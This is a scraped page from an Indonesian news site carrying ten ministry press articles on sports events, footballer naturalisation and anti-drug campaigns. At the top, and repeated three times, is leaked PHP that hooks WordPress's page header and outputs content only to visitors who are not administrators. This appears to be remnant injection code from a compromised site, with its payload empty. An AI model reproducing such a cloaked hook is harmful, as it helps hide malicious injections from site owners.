if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 220 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Menpora Dito Dan Wamenpora Taufik Hadiri Merah Putih Gala: Apresiasi 73 Tahun Kiprah NOC Indonesia Di Kancah Internasional

    Menpora Dito Dan Wamenpora Taufik Hadiri Merah Putih Gala: Apresiasi 73 Tahun Kiprah NOC Indonesia Di Kancah Internasional

    VISTA NUSANTARA – Menteri Pemuda dan Olahraga Republik Indonesia (Menpora RI) Dito Ariotedjo dan Wamenpora Taufik Hidayat menghadiri acara Merah Putih Gala “73rd NOC Indonesia Anniversary di The Ritz-Carlton Jakarta, Pacific Place, Jakarta, Selasa (11/3) malam.

    Pada acara tersebut Menpora Dito menyampaikan apresiasi setinggi-tingginya kepada NOC Indonesia yang telah berperan dan dan memberikan kontribusinya dalam memajukan olahraga Indonesia di kancah internasional.

    “Perjalanan panjang NOC Indonesia selama 73 tahun adalah bukti dedikasi, kerja keras, dan semangat pantang menyerah dalam mengembangkan olahraga Indonesia. Namun, tantangan ke depan semakin berat. Dunia olahraga semakin kompetitif, dan kita harus terus beradaptasi serta meningkatkan pembinaan agar mampu bersaing di tingkat global,” kata Menpora Dito.

    Menurut Menpora Dito di bawah kepemimpinan Ketua NOC Indonesia Raja Sapta Oktohari, telah lahir berbagai prestasi membanggakan yang mengharumkan nama bangsa, mulai dari keberhasilan di SEA Games, Asian Games, hingga kiprah atlet-atlet kita di Olimpiade.

    “Melalui kolaborasi antara pemerintah, NOC Indonesia, federasi cabang olahraga, pelatih, dan atlet, kita optimis dapat meraih lebih banyak medali dan mengibarkan Merah Putih di berbagai ajang internasional,” tambahnya.

    Menpora Dito juga menyampaikan bahwa Kemenpora memiliki komitmen untuk terus mendukung kemajuan olahraga Indonesia. Kemenpora terbuka untuk memperjuangkan cabang olahraga agar sesuai target dan bisa dipertanggungjawabkan.

    “Peran NOC Indonesia sangat penting untuk memperkuat diplomasi olahraga Indonesia di kancah dunia. Semoga Indonesia bisa menyetak sejarah-sejarah baru untuk olahraga Indonesia di era kepemimpinan Presiden Prabowo dan Ketua NOC Indonesia Raja Sapta Oktohari,” ujar Menpora Dito.

    Sementara Ketua NOC Indonesia Raja Sapta Oktohari mengucapkan terima kasih atas kehadiran seluruh tokoh dan stakeholder olahraga yang sudah memberikan kontribusi yang cukup besar untuk olahraga Indonesia.

    “Kita punya mimpi besar untuk menjadi tuan rumah Olimpiade. Kami saat ini juga terus memperjuangkan Indonesia untuk bisa menjadi tuan rumah Youth Olympic 2030. Saya ucapkan terima kasih atas kehadiran bapak ibu semua yang sudah memberikan kontribusi untuk olahraga Indonesia,” ujar Raja Sapta Oktohari.

    Acara Merah Putih Gala “73rd NOC Indonesia Anniversary sendiri berlangsung cukup meriah. Puncak acara ditandai dengan adanya pemotongan tumpeng yang dilakukan Ketua NOC Indonesia Raja Sapta Oktohari dan diberikan kepada Mantan Ketua KOI Rita Subowo, Menpora Dito, dan atlet panjat tebing Indonesia, Veddriq Leonardo yang malam itu juga merayakan ulang tahun.

     

    (Red)

  • Menpora Apresiasi Pocari Sweat Run Lombok 2025, Dorong Ajang Jadi Wadah Talent Scouting Atlet Lari Nasional

    Menpora Apresiasi Pocari Sweat Run Lombok 2025, Dorong Ajang Jadi Wadah Talent Scouting Atlet Lari Nasional

    VISTA NUSANTARA – Menteri Pemuda dan Olahraga Republik Indonesia (Menpora RI) Dito Ariotedjo, menyampaikan apresiasinya terhadap penyelenggaraan Pocari Sweat Run Lombok 2025 di Sirkuit Mandalika, NTB. Menpora berharap ajang itu sekaligus sebagai ajang pencarian bakat atlet lari tanah air.

    “Saya apresiasi untuk Pocari yang sudah konsisten selama 12 tahun mengadakan acara yang utamanya lari,” kata Menpora Dito usai menghadiri Press Conference Pocari Sweat Run Lombok 2025 di Plataran Hutan Kota, Komplek GBK Senayan, Jakarta, Selasa (11/3).

    “Jadi, event ini nantinya akan bagus juga untuk talent scouting dari potensi atlet yang ikut dan bagus juga untuk para pelari kita mengasah kemampuannya,” imbuh Menpora Dito.

    Menurut Menpora Dito pelaksanaan event lari yang menyediakan tiket 7.000 pelari khusus di Lombok ini akan menjadi pengalaman yang unik serta iconik karena akan melewati lintasan terbaik yakni Sirkuit Mandalika.

    “Tahun ini saya tambah apresiasi lagi karena Pocari kembali mengadakan even lari dan tambah lokasi. Dan ini merupakan lokasi yang saya rasa sangat iconik dimana runers akan mendapatkan pengalaman yang berbeda,” ujarnya.

    “Para pelari ini nantinya akan melewati dan merasakan berlari di atas salah satu lintasan aspal sirkuit terbaik di dunia yakni di Sirkuit Mandalika dan di Mandalika sendiri maupun Lombok memiliki kontur ketinggian dan cuaca yang menantang,” urainya.

    Utusan Khusus Presiden Bidang Pembinaan Generasi Muda dan Pekerja Seni Raffi Ahmad, menyampaikan terima kasih atas kontribusi Pocari Sweat yang mendukung perkembangan sporttourism Indonesia khususnya olahraga lari.

    “Terima kasih kepada Pocari Sweat atas kontribusinya untuk sport tourism Indonesia dimana menjadi salah satu event terbesar lari dan memiliki komunitas lari yang luar biasa,” ujarnya.

    “Pocari Sweat selama 12 tahun ini telah melakukan berbagai hal yang sangat luar biasa untuk menerapkan gaya hidup sehat untuk generasi muda Indonesia,” imbuhnya.

    Pocari Sweat Run 2025 lanjutnya, pihaknya juga berkolaborasi dengan Kemenpora, Kemenpar, Injourney untuk membuat Indonesia lebih harum di kancah dunia.

    “Kita berkolaborasi dengan Kemenpora, Kemenpar, Injourney dan UKP lainnya ingin membuat nama Lombok dan Indonesia lebih harum dan luar biasa dikancah dunia dimasa depan,” pungkasnya.

    Direktur Pemasaran PT Amerta Indah Otsuka (Pocari Sweat) Puspita Winawati mengatakan, Pocari Sweat Run 2025 selain di Bandung tahun ini akan ditambahkan satu kota lagi yakni Lombok, NTB.

    “Saya sangat berterima kasih karena acara ini didukung oleh Kemenpora, Kemenpar, para UKP, Injourney dan RANS. Ini moment luar biasa untuk bersama-sama mendukung Pocari Sweat Run Lombok ini jadi sesuatu yang baru,” katanya pada acara yang juga dihadiri UKP Bidang Pariwisata Zita Anjani, Deputi Kemenpar Vinsen Jemadu, Dirut Injourney Maya Watono dan CEO RANS Nagita Slavina.

    Pocari Sweat Run Lombok 2025 akan dilaksanakan pada 14 September 2025. Pendaftaran terbuka untuk 7.000 peserta pada 15 April 2025. Kategori yang disediakan Marathon 42K, Half Marathon, 10K, dan 4,3K.

     

    (Red)

  • Wamenpora Taufik Terima Audiensi Redaksi Kompas Bahas Dukungan Terhadap Dunia Olahraga

    Wamenpora Taufik Terima Audiensi Redaksi Kompas Bahas Dukungan Terhadap Dunia Olahraga

    VISTA NUSANTARA – Wakil Menteri Pemuda dan Olahraga (Wamenpora) Taufik Hidayat menerima audiensi Redaksi Kompas di kantor Kemenpora, Jakarta, pada Selasa (11/3).

    Dalam pertemuan tersebut, redaksi Kompas dipimpin oleh Wakil Pemimpin Redaksi Haryo Darmandono, yang menyampaikan komitmennya dalam mendukung perkembangan dunia olahraga di Indonesia.

    “Kehadiran kami di sini adalah bagian dari silaturahmi sekaligus bentuk dukungan kami terhadap event-event olahraga nasional. Kami ingin turut serta dalam memajukan olahraga di Indonesia,” ujar Haryo Darmandono.

    “Salah satu bentuk nyata dukungan kami adalah penyelenggaraan Liga Kompas U-14, dimana pemain terbaiknya akan mengikuti pelatihan dan seleksi guna berkompetisi pada Piala Gothia di Swedia pada Juli mendatang,” sambungnya.

    Wamenpora Taufik menyambut baik inisiatif dari Kompas dan mengapresiasi peran media dalam menyebarluaskan informasi terkait olahraga, baik di tingkat nasional maupun internasional.

    Ia menegaskan bahwa sinergi antara pemerintah dan media sangat penting untuk meningkatkan  prestasi atlet Indonesia.

    “Kami sangat mengapresiasi dukungan media dalam mempromosikan olahraga Indonesia. Sinergi antara pemerintah, media, dan masyarakat adalah kunci dalam membangun ekosistem olahraga yang lebih baik,” jelas Wamenpora Taufik.

     

    (Red)

  • Menpora Dito Pastikan Keamanan Timnas Bahrain Jelang Laga Kualifikasi Piala Dunia Di Jakarta

    Menpora Dito Pastikan Keamanan Timnas Bahrain Jelang Laga Kualifikasi Piala Dunia Di Jakarta

    VISTA NUSANTARA – Menteri Pemuda dan Olahraga Republik Indonesia (Menpora RI) Dito Ariotedjo menerima kunjungan Duta Besar (Dubes) Kerajaan Bahrain untuk Indonesia, Ahmed Abdulla Alharmasi Alhajeri di Jakarta, Senin (10/3).

    Pertemuan ini membahas mengenai pertandingan tim nasional Indonesia yang akan menjamu Bahrain dalam pertandingan Kualifikasi Piala Dunia 2026 di Stadion Utama Gelora Bung Karno, Jakarta pada 25 Maret 2025.

    “Tim nasional Bahrain lebih dulu akan bermain di Jepang, kemudian dijadwalkan akan bermain di Jakarta,” ujar Dubes Ahmed saat membuka obrolan.

    Kemudian, Dubes Ahmed menyampaikan beberapa hal mengenai keamanan tim nasional Bahrain selama berada di Jakarta. Dia berharap seluruh rangkaian pertandingan nantinya bisa berjalan dengan aman dan lancar.

    “Nantinya juga akan ada delegasi Bahrain yang akan mendampingi tim,” jelasnya.

    Menpora Dito merespons kekhawatiran tersebut dan memastikan keamanan tim nasional Bahrain selama di Jakarta. Menpora Dito akan terus melakukan koordinasi dengan berbagai pihak guna kelancaran pertandingan.

    Disamping itu, Menpora Dito menegaskan jika Indonesia siap menjadi tuan rumah yang baik bagi para tamu yang datang, termasuk tim nasional Bahrain.

    Menpora Dito juga mengajak seluruh suporter tim nasional Indonesia untuk mendukung penuh skuad Garuda. Tak hanya itu, Menpora Dito mengajak seluruh masyarakat untuk sama-sama menjaga ketertiban.

    “Untuk para pendukung dan suporter yang kita sayangi dan cintai, saya mengimbau ayo kita menjadi tuan rumah yang baik pada tanggal 25 Maret nanti. Kita tunjukkan bahwa masyarakat Indonesia dan suporter Timnas Indonesia siap menjadi tuan rumah kelas dunia,” terang Menpora Dito.

    Timnas Indonesia saat ini berada di peringkat ketiga Grup C Kualifikasi Piala Dunia 2026 zona Asia, dengan raihan 6 poin dari 6 laga yang telah dimainkan.

    Pelatih Timnas Indonesia Patrick Kluivert sudah mengumumkan daftar 27 pemain yang dipanggil untuk laga terdekat melawan Australia dan Bahrain. Diharap Jay Idzes dan kawan-kawan bisa meraih hasil maksimal.

     

    (Red)

  • Menpora Dito Tegaskan Komitmen Indonesia Dalam Keamanan Dan Diplomasi Olahraga Di Markas Besar PBB

    Menpora Dito Tegaskan Komitmen Indonesia Dalam Keamanan Dan Diplomasi Olahraga Di Markas Besar PBB

    VISTA NUSANTARA – Menteri Pemuda dan Olahraga (Menpora) RI Dito Ariotedjo menghadiri ajang inisiatif olahraga global “Securing the Legacy: Debriefing from Paris 2024 for Future Major Sporting Events Marking” di Markas Besar Persatuan Bangsa-Bangsa (PBB), New York, Amerika Serikat, Rabu (5/3) pagi waktu setempat.

    Dalam pertemuan sehari yang digelar Program Olahraga Global Kantor Penanggulangan Terorisme PBB atau United Nations Office of Counter-Terrorism (UNOCT) Global Sports Programme berkolaborasi Misi Tetap Prancis untuk PBB ini, Menpora Dito didaulat memberikan sambutannya pada sesi pembuka.

    “Merupakan suatu kehormatan besar bisa berdiri di hadapan para tamu kehormatan dunia hari ini di Markas Besar PBB. Saya menyampaikan penghargaan yang sebesar-besarnya kepada UNOCT dan Prancis sebagai tuan rumah bersama, dan semua mitra yang terhormat atas dukungan mereka,” ucap Menpora dalam kalimat pembukanya.

    Pada sambutannya, Menpora Dito menyatakan komitmen Indonesia dalam memastikan olahraga tetap sebagai platform untuk ketahanan dan inklusi menuju perdamaian. Indonesia, kata Menpora, mengakui kekuatan olahraga sebagai kekuatan persatuan, diplomasi, dan keamanan.

    “Dalam semangat ini, kita berkumpul hari ini untuk menegaskan kembali komitmen bersama kita dalam memastikan bahwa olahraga tetap menjadi platform bagi ketahanan dan inklusi menuju perdamaian,” tutur Menpora Dito di hadapan para delegasi negara-negara dunia yang hadir.

    Disampaikan, Indonesia telah lama menjadi bangsa yang sangat mencintai olahraga. Malahan komitmen atas olahraga ini telah melampaui batas-batas negara Indonesia. Hal ini dibuktikan dengan peran Indonesia yang telah sukses menjadi tuan rumah menyelenggarakan berbagai event olahraga terbesar di dunia.

    Ajang-ajang olahraga dunia tersebut mulai dari Asian Games 2018 yang melibatkan 16 ribu peserta, 1,3 juta penonton, dan 100 ribu personel keamanan. Kemudian Piala Dunia Basket FIBA ​​2023 di Jakarta yang diramaikan oleh 111 ribu penonton dan lebih dari 1.500 personel keamanan.

    “Indonesia secara konsisten telah memenuhi standar global,” ujar Menpora.

    Ajang internasional berikutnya yaitu Piala Dunia U-17 FIFA 2023, yang disaksikan sekira 430 ribu penonton dan lebih dari 13 ribu personel keamanan. Penyelenggaraan Piala Dunia ini menurut Menpora Dito makin membuktikan kemampuan Indonesia dalam mengamankan turnamen sepak bola besar.

    Ajang lainnya yaitu MotoGP Mandalika 2023, yang sukses menarik lebih dari 100 ribu penggemar, dengan didukung lebih dari 3 ribu personel keamanan. Kesuksesan penyelenggaraan MotoGP ini menunjukkan keunggulan dalam manajemen acara olahraga bermotor oleh Indonesia.

    “Acara-acara ini merupakan pernyataan kesiapan Indonesia untuk menjadi pemimpin global dalam keamanan, tata kelola, dan diplomasi olahraga,” terang Menpora dalam pertemuan yang dibuka oleh Wakil Sekretaris Jenderal (Wasekjen) PBB untuk Bidang Penanggulangan Terorisme Vladimir Voronkov ini.

    “Securing the Legacy: Debriefing from Paris 2024 for Future Major Sporting Events Marking” sendiri merupakan ajang berbagi pelajaran serta praktik terbaik dari penyelenggaraan Olimpiade dan Paralimpiade Paris 2024. Kegiatan ini berfokus pada peran teknologi-teknologi inovatif, perlindungan hak asasi manusia, dan inklusi gender dalam pengamanan acara olahraga besar.

    Kegiatan ini mempertemukan negara-negara anggota, Komite Olimpiade Internasional, federasi-federasi olahraga internasional, kontinental, dan nasional, masyarakat sipil, asosiasi-asosiasi olahraga, dan sektor swasta. Ajang ini mengupayakan peningkatan keamanan untuk Olimpiade dan ajang-ajang olahraga dunia di masa depan.

    Ajang ini sekaligus menandai ulang tahun kelima Global Sports Programme, memberikan kesempatan untuk menyoroti pencapaian-pencapaiannya dalam memperkuat keamanan acara olahraga besar dan mempromosikan olahraga sebagai kekuatan untuk perdamaian, ketahanan, dan pencegahan terorisme.

     

    (Red)

  • Menpora Dito Perkenalkan Pencak Silat Sebagai Simbol Ketahanan Global Di Markas Besar PBB

    Menpora Dito Perkenalkan Pencak Silat Sebagai Simbol Ketahanan Global Di Markas Besar PBB

    VISTA NUSANTARA – Ajang inisiatif olahraga global “Securing the Legacy: Debriefing from Paris 2024 for Future Major Sporting Events Marking” di Markas Besar Persatuan Bangsa-Bangsa (PBB), New York, Amerika Serikat, Rabu (5/3) pagi waktu setempat dimanfaatkan Menteri Pemuda dan Olahraga (Menpora) RI Dito Ariotedjo untuk makin memperkenalkan olahraga pencak silat di kancah dunia.

    Dalam sambutannya di depan para delegasi negara-negara dunia, Menpora menjelaskan pencak silat sebagai salah satu warisan budaya terbesar Indonesia. Olahraga ini lebih dari sekadar seni bela diri, melainkan juga merupakan sebuah filosofi serta sebagai alat penangkal radikalisme, yang merupakan perwujudan disiplin, rasa hormat, dan ketahanan.

    “Diakui oleh UNESCO sebagai Warisan Budaya Takbenda, Pencak Silat mengajarkan para praktisinya untuk tidak hanya membela, tetapi juga melindungi. Tidak hanya berperang, tetapi juga menjaga perdamaian,” jelas Menpora Dito pada pertemuan yang digelar Program Olahraga Global Kantor Penanggulangan Terorisme PBB atau United Nations Office of Counter-Terrorism (UNOCT) Global Sports Programme berkolaborasi Misi Tetap Prancis untuk PBB ini.

    Karena itu, lanjut Menpora, Indonesia memandang pencak silat sebagai simbol global untuk ketahanan. Itulah mengapa Indonesia mengupayakan supaya pencak silat makin dikenal, salah satunya dengan dimasukkannya cabang olahraga ini ke dalam Olimpiade.

    Sejalan dengan semangat pencak silat itulah, Menpora Dito menyatakan Indonesia meyakini olahraga mencerminkan prinsip ketahanan keamanan. Olahraga dapat menjadi alat untuk membangun bangsa dan keterikatan sosial, sebuah alat untuk diplomasi halus dan resolusi konflik.

    “Olahraga bisa digunakan untuk merehabilitasi masyarakat dalam situasi pascakonflik. Yang tak kalah penting, olahraga juga dapat mencerminkan kesiapan dan ketahanan keamanan suatu bangsa,” terang Menpora.

    Menpora Dito menyatakan, pelajaran dari Olimpiade Paris 2024 mengingatkan bahwa menyelenggarakan ajang olahraga besar membutuhkan infrastruktur keamanan yang tangguh dan kemampuan tanggap krisis untuk menjawab ancaman keamanan yang terus berkembang.

    “Kita harus tetap menjadi yang terdepan dengan kerangka kerja keamanan yang inovatif, kolaborasi intelijen lintas batas, dan kemitraan global yang diperkuat. Keberhasilan Prancis menyelenggarakan Olimpiade 2024 menunjukkan kapasitasnya dalam mendeteksi ancaman sejak dini dan secara efektif mengelola tantangan keamanan yang kompleks,” papar Menpora.

    Dalam hal ini, Indonesia mendukung penuh Program Olahraga Global UNOCT. Menpora Dito menegaskan Indonesia berkomitmen untuk berkontribusi dalam memanfaatkan olahraga tradisional dan modern seperti pencak silat untuk meningkatkan ketahanan dan pemberdayaan pemuda.

    Indonesia juga berkomitmen memperkuat kemitraan publik-swasta untuk memastikan fasilitas-fasilitas dan ajang-ajang besar olahraga memenuhi standar keselamatan tertinggi. Pun begitu, Indonesia berkomitmen meningkatkan kerja sama internasional dalam keamanan olahraga, bekerja lebih dekat dengan para pemangku kepentingan internasional.

    “Kami bangga telah ikut menyelenggarakan seminar tingkat tinggi dengan UNOCT di Bali pada Oktober silam, di mana lebih dari 200 pemangku kepentingan dari lembaga pemerintah, masyarakat sipil, dan federasi olahraga internasional berkumpul untuk mengembangkan rencana aksi konkret demi keamanan olahraga dan melawan ekstremisme kekerasan melalui olahraga,” tutur Menpora.

    Sebagai seseorang yang tertarik dengan dunia olahraga, Menpora Dito mengaku telah melihat secara langsung bagaimana olahraga bisa menginspirasi kaum muda untuk bermimpi lebih besar dan bekerja lebih keras. Karena itu, merupakan tanggung jawab bersama untuk memastikan mimpi-mimpi tersebut tidak dibayang-bayangi oleh ancaman kekerasan.

    “Kita harus terus menumbuhkan olahraga sebagai mercusuar perdamaian dan ketahanan. Indonesia berkomitmen untuk mendorong kolaborasi yang bermakna di bidang ini. Kami percaya melalui upaya bersama, warisan olahraga akan tetap menjadi warisan perdamaian, persatuan, dan keamanan untuk semua,” pungkas Menpora.

     

    (Red)

  • Wamenpora Pimpin Rapat Penjajakan Kerja Sama Beasiswa Keolahragaan Bersama LPDP

    Wamenpora Pimpin Rapat Penjajakan Kerja Sama Beasiswa Keolahragaan Bersama LPDP

    VISTA NUSANTARA – Wakil Menteri Pemuda dan Olahraga Republik Indonesia (Wamenpora RI) Taufik Hidayat memimpin rapat penjajakan kerja sama dengan Lembaga Pengelola Dana Pendidikan (LPDP) terkait beasiswa keolahragaan di Kemenpora, Jakarta, Kamis (6/3).

    Wamenpora Taufik bersama Direktur Utama LPDP Andin Hadiyanto membahas pengembangan dan keberlanjutan program yang dapat membantu meningkatkan kualitas atlet dan tenaga profesional di Indonesia.

    “Terima kasih atas kehadiran hari ini. Saya rasa bahwa komunikasi antar-lembaga ini sangat penting dan harus terjalin dengan baik, sesuai dengan arahan Presiden,” ujar Wamenpora Taufik.

    Wamenpora Taufik ingin LPDP turut serta berperan dan melakukan aksi nyata melakukan sejumlah kerja sama berupa beasiswa bagi atlet maupun tenaga pendukung profesional untuk dapat menempuh jenjang pendidikan magister dan doktor.

    Disamping itu, kerja sama juga bisa dilakukan yang melingkupi strategi pengelolaan remunerasi dan jaminan kesejahteraan bagi olahragawan ketika pensiun.

    “Program ini diharap bisa menjadi langkah baik untuk atlet hingga tenaga pendukung profesional. Intinya saya menjembatani agar komunikasi bisa terus dilakukan agar cepat dan berjalan dengan baik,” jelas Wamenpora Taufik.

    Hal senada juga disampaikan Direktur Utama LPDP Andin Hadiyanto. Dia sepakat dalam menjalani percepatan kerja sama pada program beasiswa keolahragaan ini dengan persyaratan dan ketentuan yang ada.

    Sehingga, melalui program ini, para penerima beasiswa nantinya dapat meningkatkan pengetahuan, kemampuan, dan keahlian tenaga profesional di bidang olahraga, mendukung pengembangan ekosistem olahraga di Indonesia, sekaligus apresiasi kepada prestasi dan dedikasi insan olahraga.

     

    (Red)

  • Wamenpora Bahas Naturalisasi Tiga Pemain Keturunan Dalam Rapat Kerja Bersama DPR RI

    Wamenpora Bahas Naturalisasi Tiga Pemain Keturunan Dalam Rapat Kerja Bersama DPR RI

    VISTA NUSANTARA – Wakil Menteri Pemuda dan Olahraga (Wamenpora) Taufik Hidayat melakukan rapat kerja (raker) dengan Komisi X dan Komisi XIII DPR RI dengan agenda membahas permohonan pertimbangan pemberian kewarganegaraan RI kepada tiga atlet sepak bola asal Belanda dan Italia, Rabu (5/3) siang.

    Ketiga pemain sepak bola tersebut adalah Dean Ruben James dan Joey Mathijs Pelupessy berkebangsaan Belanda serta Emil Audero Mulyadi berkebangsaan Italia. Mereka  memilliki darah keturunan Indonesia yang akan memperkuat Timnas Sepak Bola Indonesia.

    Wamenpora Taufik bersama Ketum PSSI Erick Thohir menghadiri rapat kerja (raker) dengan Komisi X DPR RI di Gedung Nusantara I. Setelah itu,, dilanjutkan raker dengan Komisi XIII DPR RI di Gedung Nusantara II.

    Wamenpora Taufik mengapresiasi dan mengatakan bahwa, naturalisasi ini dilakukan sebagai bagian dari strategi memperkuat Timnas Indonesia. Saat ini, Tim Garuda membutuhkan tambahan pemain berkualitas untuk mengisi posisi kiper, bek kiri, dan gelandang.

    “Ketiga pemain ini memiliki pengalaman bermain di level Eropa dengan menit bermain yang tinggi, kondisi fisik yang prima, serta fleksibilitas dalam permainan,” ujar Wamenpora.

    “Selain meningkatkan skuad Timnas, mereka juga diharapkan dapat mentransfer pengetahuan dan meningkatkan kualitas pemain lokal, baik untuk Tim Nasional maupun kompetisi profesional dalam negeri,” sambungnya

    Menurutnya, PSSI dan Kemenpora melihat naturalisasi ini sebagai langkah strategis dalam mencapai target jangka pendek dan jangka panjang bagi sepak bola nasional.

    “Jangka pendek (di bawah 5 tahun) yaitu lolos ke Kualifikasi Piala Dunia 2026 dan berprestasi di Piala Asia 2027 di Arab Saudi serta Meningkatkan peringkat Indonesia ke 100 besar FIFA,” jelasnya.

    Jangka panjang (di atas 5 tahun), lanjutnya, lolos ke Kualifikasi Piala Dunia 2030 (pada tahun 2028 dan 2029) dan berpartisipasi di Piala Dunia 2030 serta meningkatkan peringkat Indonesia ke 50 besar FIFA.

    Setelah mendengarkan pemaparan dari Wamenpora Taufik, Ketum PSSI Erick Thohir, dan Dirjen AHU Kemenkum Widodo, baik Komisi X maupun Komisi XIII DPR RI akhirnya memberikan persetujuan penuh terhadap naturalisasi ketiga pemain tersebut.

    Komisi X memutuskan untuk menyetujui rekomendasi pemberian kewarganegaraan RI kepada Joey Mathijs Pelupessy, Emil Audero Mulyadi, dan Dean Ruben James.

    “Hasil rapat kerja hari ini akan disampaikan dalam Rapat Paripurna DPR RI pada 6 Maret 2025 untuk diambil keputusan. Kami sepakat bahwa penetapan kewarganegaraan dilakukan oleh instansi yang berwenang berdasarkan ketentuan perundang-undangan yang berlaku,” ujar Wakil Ketua Komisi X DPR RI, Lalu Hadrian Irfani.

    Hal yang sama juga disampaikan oleh Pimpinan Komisi XIII DPR RI. “Setelah mendengar penjelasan dari pemerintah, kami menyetujui permohonan pemberian kewarganegaraan RI kepada tiga atlet sepak bola tersebut,” ujar Ketua Komisi XIII DPR RI, Willy Aditya.

     

    (Red)

  • Wamenpora Hadiri Rapat Terbatas Dan Taklimat Presiden Prabowo Di Istana Kepresidenan

    Wamenpora Hadiri Rapat Terbatas Dan Taklimat Presiden Prabowo Di Istana Kepresidenan

    VISTA NUSANTARA – Wakil Menteri Pemuda dan Olahraga Republik Indonesia (Wamenpora RI) Taufik Hidayat hari Selasa (4/3) sore tiba di Istana Kepresidenan, Jakarta. Kehadiran Wamenpora Taufik untuk mengikuti Rapat Terbatas (Ratas) sekaligus Taklimat yang diberikan langsung Presiden Prabowo Subianto.

    Wamenpora yang mengenakan kemeja putih hadir sekitar pukul 15.00 WIB dan langsung berjalan bersama Wamen Pemberdayaan Perempuan dan Perlindungan Anak (PPPA) Veronica Tan menuju pintu masuk tempat acara.

    Tampak terlihat beberapa wakil menteri juga hadir pada acara tersebut, diantaranya Wamendikti Stella Christie, Wakil Menteri Transmigrasi Viva Yoga Mauladi, Wamenkeu Anggito Abimayu, Wakil Menteri Kependudukan dan Pembangunan Keluarga Isyana Bagoes Oka, Wamendagri Bima Arya, Wamen Perindustrian Faizol Riza.

    Menurut Kepala Kantor Komunikasi Kepresidenan (PCO), Hasan Nasbi, Presiden Prabowo memberi arahan seputar program kerja pemerintah selama beberapa bulan terakhir yang dinilai bermanfaat bagi masyarakat.

    “Presiden tadi menjelaskan apa yang sudah dilakukan oleh pemerintah selama 130 hari terakhir. Puluhan kebijakan yang sudah dikeluarkan pemerintah ya itu semua punya manfaat bagi masyarakat,” kata Hasan.

    Kendati demikian, Presiden Prabowo meminta agar para menteri tidak mudah puas dengan apa yang dicapai, karena ini merupakan permulaan.

    “Jadi walaupun sudah menelurkan puluhan kebijakan, tapi presiden bilang ke seluruh anggota kabinet tadi maupun kepala-kepala lembaga yang hadir bahwa jangan berpuas diri dulu, ini bukan untuk berpuas diri tapi anda semua harus tahu, bahwa kita belum mulai,” tegas Kepala PCO.

     

    (Red)

  • Kemenpora Dukung BNN Cegah Penyalahgunaan Narkoba Di Kalangan Pemuda

    Kemenpora Dukung BNN Cegah Penyalahgunaan Narkoba Di Kalangan Pemuda

    VISTA NUSANTARA – Kementerian Pemuda dan Olahraga (Kemenpora) RI mendukung Badan Narkotika Nasional (BNN) dalam mencegah penyalahgunaan narkotika dan obat-obatan terlarang (Narkoba) di kalangan pemuda.

    Dukungan tersebut ditegaskan Staf Ahli Bidang Inovasi Kepemudaan dan Keolahragaan Kemenpora RI Yohan seusai mewakili Menpora Dito Ariotedjo menghadiri Konferensi Pers “Hasil Penindakan Desk Pemberantasan Narkoba dan Live Penggeledahan Serentak” di Kantor BNN Pusat, Jalan MT Haryono Nomor 11, Cawang, Kramat Jati, Jakarta Timur, Senin (3/3) pagi.

    Staf Ahli Yohan menjelaskan, dalam konferensi pers ini Menteri Koordinator Politik dan Keamanan (Menko Polkam) Jenderal Polisi (Purn) Budi Gunawan menyampaikan terkait barang-barang sitaan yang sudah dilakukan oleh tim atau desk penindakan dari BNN.

    “Hasil penindakan ini adalah kerja sama dari beberapa kementerian dan lembaga yang selama ini terlibat di dalam pencegahan maupun penindakan barang-barang narkoba tersebut,” terangnya.

    Dalam konferensi pers tersebut, Menko Polkam Budi Gunawan juga turut berpesan kepada para pemuda untuk menghindari narkoba. Kemenpora, sebut Staf Ahli Yohan, tentunya mendukung upaya-upaya pencegahan penyalahgunaan narkoba di kalangan pemuda.

    “Seperti kita ketahui, bahwa dari pengguna narkoba yang disampaikan oleh Bapak Menko Polkam sebanyak 3,3 juta itu, hampir dua pertiganya adalah pemuda, yaitu berusia 15 sampai 24 tahun. Sehingga tentunya sangat memprihatinkan bagi Kemenpora ini,” sebut Yohan.

    Karena itu Kemenpora terus berkontribusi dalam hal bagaimana para pemuda ini bisa diselamatkan. Di antaranya melalui upaya-upaya pencegahan melalui program kegiatan yang bisa dilakukan di lingkungan Kemenpora, khususnya dari bidang pelayanan kepemudaan.

    “Dari bidang pelayanan kepemudaan ini diharapkan mampu untuk bisa mencegah sebanyak-banyaknya, menyelamatkan para pemuda kita yang jumlahnya sekira 2,2 juta itu, untuk bisa tidak terlibat di dalam penyalahgunaan narkotika,” jelas Staf Ahli.

    Salah satu programnya yaitu bagaimana Kemenpora berupaya melakukan pencegahan supaya para pemuda tidak merokok dan juga untuk tidak menggunakan narkoba. Pencegahan ini sudah dilakukan Kemenpora, meliputi adanya Kader Inti Pemuda Anti Narkoba (KIPAN).

    “Ini kami akan perluas lagi bukan hanya terkait dengan narkobanya, tetapi juga bagaimana kita pencegahan para pemuda ini mendekati rokok. Karena cikal bakal dari narkoba itu tentunya adalah dari merokok itu sendiri,” beber Yohan.

    “Kedua-duanya kami akan lakukan (mencegah merokok dan narkoba, Red.) supaya para pemuda ini bisa kita selamatkan dalam rangka menuju Indonesia Emas 2045 yang bebas narkoba,” imbuh Staf Ahli.

    Adapun dalam konferensi pers ini dijabarkan Hasil Penindakan Desk Pemberantasan Narkoba oleh Menko Polkam Jenderal Polisi (Purn) Budi Gunawan dan Kepala BNN Komjen Polisi Marthinus Hukom. Setelahnya, dilakukan live penggeledahan serentak dari 19 daerah di Indonesia, serta peninjauan langsung barang-barang bukti hasil sitaan Desk Pemberantasan Narkoba.

    Hadir dalam konferensi pers ini pimpinan dan perwakilan kementerian/lembaga yang terlibat dalam Desk Pemberantasan Narkoba serta para awak media massa.

     

    (Red)

